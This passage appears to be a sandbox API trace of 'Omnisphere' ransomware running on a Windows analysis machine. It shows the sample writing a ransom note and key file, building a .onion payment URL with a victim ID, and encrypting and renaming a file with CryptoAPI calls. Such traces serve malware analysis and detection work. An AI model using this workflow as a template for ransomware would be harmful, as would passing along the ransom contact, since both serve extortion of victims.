pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.262] GetProcessHeap () returned 0x1600000 [0126.262] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0126.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.262] GetProcessHeap () returned 0x1600000 [0126.262] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2018 [0126.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2018, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.262] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.262] GetProcessHeap () returned 0x1600000 [0126.262] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0088 [0126.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0088, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.262] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.262] GetProcessHeap () returned 0x1600000 [0126.262] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf698 [0126.262] PathCombineW (in: pszDest=0x16bf698, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.262] GetProcessHeap () returned 0x1600000 [0126.262] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d37b0 [0126.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.263] WriteFile (in: hFile=0x28c, lpBuffer=0x16d37b0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d37b0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.263] CloseHandle (hObject=0x28c) returned 1 [0126.263] GetProcessHeap () returned 0x1600000 [0126.263] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0126.264] GetProcessHeap () returned 0x1600000 [0126.264] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.264] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.264] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.264] CloseHandle (hObject=0x28c) returned 1 [0126.264] GetProcessHeap () returned 0x1600000 [0126.265] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.265] GetProcessHeap () returned 0x1600000 [0126.265] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656a18 | out: hHeap=0x1600000) returned 1 [0126.265] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c0b967, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x170dd2a9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x170dd2a9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x342, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Jetw.lnk", cAlternateFileName="")) returned 1 [0126.265] GetProcessHeap () returned 0x1600000 [0126.265] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167bb28 [0126.265] PathCombineW (in: pszDest=0x167bb28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="Jetw.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw.lnk" [0126.265] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jetw.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.265] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=834) returned 1 [0126.265] GetTickCount () returned 0x115f837 [0126.265] GetTickCount () returned 0x115f837 [0126.265] GetTickCount () returned 0x115f837 [0126.265] GetTickCount () returned 0x115f837 [0126.265] GetTickCount () returned 0x115f837 [0126.265] GetTickCount () returned 0x115f837 [0126.265] GetTickCount () returned 0x115f837 [0126.265] GetTickCount () returned 0x115f837 [0126.265] GetTickCount () returned 0x115f837 [0126.265] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] GetTickCount () returned 0x115f837 [0126.266] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16681b8) returned 1 [0126.267] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.267] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.267] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.267] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0126.267] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x342, lpName=0x0) returned 0x288 [0126.267] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x342) returned 0x1480000 [0126.267] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0126.268] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.268] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.269] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.270] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.270] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0126.270] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x342, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.270] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.270] GetProcessHeap () returned 0x1600000 [0126.270] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16caed8 [0126.270] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jetw.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jetw.lnk.omnisphere")) returned 1 [0126.271] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw.lnk.omnisphere.id" [0126.271] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jetw.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.271] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.272] CloseHandle (hObject=0x3c0) returned 1 [0126.272] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.272] CloseHandle (hObject=0x288) returned 1 [0126.272] SetEndOfFile (hFile=0x28c) returned 1 [0126.273] FlushFileBuffers (hFile=0x28c) returned 1 [0126.275] CloseHandle (hObject=0x28c) returned 1 [0126.275] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jetw.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.275] GetProcessHeap () returned 0x1600000 [0126.275] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0126.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.275] GetProcessHeap () returned 0x1600000 [0126.275] RtlAllocateHeap 